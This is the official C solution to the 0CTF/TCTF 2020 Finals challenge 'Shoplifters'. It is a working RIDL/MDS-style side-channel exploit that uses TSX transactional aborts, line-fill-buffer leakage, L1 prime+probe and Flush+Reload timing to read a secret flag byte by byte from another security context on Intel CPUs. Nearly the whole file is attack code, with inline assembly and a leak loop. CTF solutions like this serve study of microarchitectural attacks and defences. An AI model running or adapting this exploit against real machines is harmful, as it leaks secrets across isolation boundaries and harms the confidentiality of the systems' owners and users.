Official solution for "Shoplifters" of 0CTF/TCTF 2020 Finals

solve.c

/* 
gcc -m64 -nostdlib -Os -mrtm -fno-toplevel-reorder -static -Wno-multichar solve.c -o solve.elf
objcopy -Obinary -j .text solve.elf solve.bin
Reference https://github.com/Alberts-Coffee-Hours/Mastik/blob/master/src/l1.c, 
https://github.com/vusec/ridl/blob/master/exploits/shadow/leak.c
and https://github.com/oranav/ctf-writeups/blob/master/gctf19/RIDL/solve.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <string.h>
#include <immintrin.h>
#include <unistd.h>
#include <errno.h>

void myputc(char c);
void writeint(unsigned int x);
void probelist(void *p, int segments, int seglen);
void flush(unsigned char *p);
void mfence();
void maccess(unsigned char *p);
void flush_buffer(unsigned char *buf);
int time_flush_reload(unsigned char *ptr);
int time_mem_access(unsigned char *ptr);
int detect_flush_reload_threshold(unsigned char *buf);
int valid_char(unsigned char c);
static void tsxabort_leak_clflush(unsigned char *leak, unsigned char *flushbuffer, register uintptr_t index, register uintptr_t mask, unsigned char *reloadbuffer1, void *p);

#define CONFIDENCE_SCORE 1
#define DEFAULT_URL "TCTF"

#define BUF_SIZE 256
#define STRIDE 4096
#define BUF_TOTAL (BUF_SIZE * STRIDE)

#define SECRET_LEN 124
#define CACHE_LINE_LEN 64

#define L1_ASSOCIATIVITY 8
#define L1_CACHELINE 64
#define L1_STRIDE (L1_CACHELINE * L1_SETS)
#define L1_SETS 64
#define PAGE_SIZE 4096

#define FROM '$'//0x24
#define TO 0x7f//0x7a
#define DUMMY_HIT (FROM-1)

struct l1pp {
    void *memory;
    void *fwdlist;
    void *bkwlist;
    uint8_t monitored[L1_SETS];
    int nsets;
};

typedef struct l1pp *l1pp_t;

#define PTR(start, set, way, ptr) (void *)(((uintptr_t)start) + ((set) * L1_CACHELINE) + ((way) * L1_STRIDE) + ((ptr)*sizeof(void *)))
#define LNEXT(p) (*(void **)(p))

void _start(unsigned char *mem) {
    unsigned char hist[SECRET_LEN][BUF_SIZE];

    unsigned char *buf = mem;
    memset(buf, 1, BUF_TOTAL);

    unsigned char *leak_mapping = mem + BUF_TOTAL;
    memset(leak_mapping, 1, 4096);
    // printf("%p\n", leak_mapping);

    l1pp_t l1 = (l1pp_t)(leak_mapping + 0x1000);
    l1->memory = leak_mapping + 0x2000;
    for (int set = 0; set < L1_SETS; set++) {
        for (int way = 0; way < L1_ASSOCIATIVITY - 1; way++) {
            LNEXT(PTR(l1->memory, set, way, 0)) = PTR(l1->memory, set, way+1, 0);
            LNEXT(PTR(l1->memory, set, way+1, 1)) = PTR(l1->memory, set, way, 1);
        }
        LNEXT(PTR(l1->memory, set, 7, 0)) = PTR(l1->memory, set, 0, 0);
    }

    int CACHE_MISS_THRESHOLD = detect_flush_reload_threshold(buf);
    // printf("F+R threshold: %d\n", CACHE_MISS_THRESHOLD);
    writeint(CACHE_MISS_THRESHOLD);
    flush_buffer(buf);

    unsigned char secret[SECRET_LEN];
    // prepare secret
    memcpy(secret, DEFAULT_URL, strlen(DEFAULT_URL));

    register uint64_t mask;
    register int index;
    int update;
    int found_index;

    found_index = strlen(DEFAULT_URL);

    char flag[21] ={ 0 };
    int flag_index = 0;
    while (flag_index < 20) {
        index = found_index - 3;
        // use the last 3 bytes to compare and filter out noise
        mask = *((uint64_t *)&secret[index]) & 0xffffff;
        update = 0;

        while (1) {
            // leak value into buffers
            tsxabort_leak_clflush(leak_mapping, buf, index, mask, buf, PTR(l1->memory, flag_index * 2, 0, 0));

            // F+R -> mark found value in histogram
            for (int i=DUMMY_HIT; i<=TO; i++) {
                int time = time_flush_reload(buf + STRIDE * i);

                if (time < CACHE_MISS_THRESHOLD) {
                    hist[index][i]++;
                    if (i != DUMMY_HIT) {
                        // printf("Buf 1: 0x%x=%c\n", i, i);
                        update = i;
                    }
                    break;
                }
            }

            // check if F+R yields satisfying result > CONFIDENCE_SCORE
            if (update) {
                // filter out invalid chars -> more reliable
                if (!valid_char(update)) {
                    // printf("Invalid char: %c\n", update);
                    update = 0;
                    continue;
                }

                if (found_index < 62 && hist[index][update] >= CONFIDENCE_SCORE) {
                    flag[flag_index] = update;
                    flag_index++;

                    myputc(update);
                    break;
                }
            }
        }
    }

}

inline __attribute__((always_inline)) void probelist(void *p, int segments, int seglen) {
    while (segments--) {
        for (int i = seglen; i--; ) {
            asm volatile (""::"r" (p):);
            p = LNEXT(p);
        }
    }
}

inline __attribute__((always_inline)) void flush(unsigned char *p) {
    asm volatile("clflush (%0)\n" :: "r"(p));
}

inline __attribute__((always_inline)) void mfence() {
    asm volatile("mfence");
}

inline __attribute__((always_inline)) void maccess(unsigned char *p) {
    asm volatile("movq (%0), %%rax\n" : : "r"(p) : "rax");
}

void flush_buffer(unsigned char *buf) {
    for (int i=0; i<BUF_SIZE; i++) {
        flush(buf + i * STRIDE);
    }
}

/**
 * Time access to addr in CPU cycles.
 * If <100 then it was most likely in cache
 * If >150 then it most likely needed to be fetched from memory
 * @param addr The address to time
 * @return Access time in CPU cycles
 *
 * Derived from https://github.com/defuse/flush-reload-attacks/blob/master/flush-reload/cachebench/l1vl3.c
 */
inline __attribute__((always_inline)) int rdtsc_access(unsigned char *addr) {
    volatile unsigned long time;
    asm volatile(
        "  mfence             \n"
        "  lfence             \n"
        "  rdtsc              \n"
        "  lfence             \n"
        "  movq %%rax, %%rsi  \n"
        "  movq (%1), %%rax   \n"
        "  lfence             \n"
        "  rdtsc              \n"
        "  subq %%rsi, %%rax  \n"
        : "=a" (time)
        : "c" (addr)
        :  "%rsi", "%rdx"
        );
    return time;
}

inline __attribute__((always_inline)) int time_flush_reload(unsigned char *ptr) {
    int time = rdtsc_access(ptr);
    flush(ptr);
    return time;
}

inline __attribute__((always_inline)) int time_mem_access(unsigned char *ptr) {
    int time = rdtsc_access(ptr);
    mfence();
    return time;
}

int detect_flush_reload_threshold(unsigned char *buf) {
    int mem_access_time = 0;
    int fr_time = 0;
    unsigned char *ptr = buf + BUF_TOTAL/2;
    int count = 1000000;

    // make sure value is in cache
    maccess(ptr);
    for (int i = 0; i < count; i++) {
        mem_access_time += time_mem_access(ptr);
    }

    // flush value from mem again
    flush(ptr);
    for (int i = 0; i < count; i++) {
        fr_time += time_flush_reload(ptr);
    }
    mem_access_time /= count;
    fr_time /= count;

    return (fr_time + mem_access_time * 2) / 3;
}

inline __attribute__((always_inline)) int valid_char(unsigned char c) {
    switch (c) {
    case 'a':
    case 'b':
    case 'c':
    case 'd':
    case 'e':
    case 'f':
    case 'g':
    case 'h':
    case 'i':
    case 'j':
    case 'k':
    case 'l':
    case 'm':
    case 'n':
    case 'o':
    case 'p':
    case 'q':
    case 'r':
    case 's':
    case 't':
    case 'u':
    case 'v':
    case 'w':
    case 'x':
    case 'y':
    case 'z':
    case 'A':
    case 'B':
    case 'C':
    case 'D':
    case 'E':
    case 'F':
    case 'G':
    case 'H':
    case 'I':
    case 'J':
    case 'K':
    case 'L':
    case 'M':
    case 'N':
    case 'O':
    case 'P':
    case 'Q':
    case 'R':
    case 'S':
    case 'T':
    case 'U':
    case 'V':
    case 'W':
    case 'X':
    case 'Y':
    case 'Z':
    case '0':
    case '1':
    case '2':
    case '3':
    case '4':
    case '5':
    case '6':
    case '7':
    case '8':
    case '9':
    case '.':
    case '/':
    case '{':
    case '}':

        // additionally needed
    case ':':
    case '$':
        return 1;
    }

    return 0;
}

static inline __attribute__((always_inline)) void tsxabort_leak_clflush(
    unsigned char *leak, unsigned char *flushbuffer,
    register uintptr_t index, register uintptr_t mask,
    unsigned char *reloadbuffer1, void *p) {
    probelist(p, 1, 10);

    asm volatile(
        "movq $0xffffffff, %%r11\n"
        "clflush (%0)\n"
        "sfence\n"
        "clflush (%1)\n"

        "xbegin 1f\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"
        "vsqrtps %%xmm0, %%xmm0\n"

        // Leak from LFB
        "movq (%0), %%rax\n"            // leak 8 byte (little endian) starting from 'index' into %%rax
        "xorq  %2, %%rax\n"             // xor with 3 byte mask: if hit then last 3 bytes == 0x0
        "andq %%r11, %%rax\n"           // zero out first byte
        "rol $0x28, %%rax\n"            // shift and rotate: 0x0000000045000003->0x0000030000000045, 0x0000000045000000->0x45
        "shl $0xc, %%rax\n"             // %%rax * 4096
        "movq (%%rax, %3), %%rax\n"     // copy from [%%rax+%3] -> touch value in reloadbuffer1

        // touch DUMMY_HIT (0x23 << 0xc) to fail fast from F+R
        "movq 0x23000(%3), %%rax\n"
        "movq 0x23000(%3), %%rax\n"
        "movq 0x23000(%3), %%rax\n"
        "movq 0x23000(%3), %%rax\n"

        "xend\n"
        "1:\n"
        :
    :"r"(leak+index), "r"(flushbuffer), "r"(mask), "r"(reloadbuffer1)
        :"rax", "r11", "r12"
        );
    mfence();
}

void myputc(char c)
{
    int ret = 0;
    volatile char buf[] ={ c };
    asm volatile(
        "movq %1, %%rsi \n\t"
        "movq %2, %%rdx \n\t"
        "movq $1, %%rax \n\t"
        "movq $1, %%rdi \n\t"
        "syscall\n\t"
        : "=g"(ret)
        : "g"(buf), "g" (1)
        : "rsi", "rdx", "rax", "rdi"
        );
}

void writeint(unsigned int x)
{
    myputc(x&0xff);
    myputc((x>>8)&0xff);
    myputc((x>>16)&0xff);
    myputc((x>>24)&0xff);
}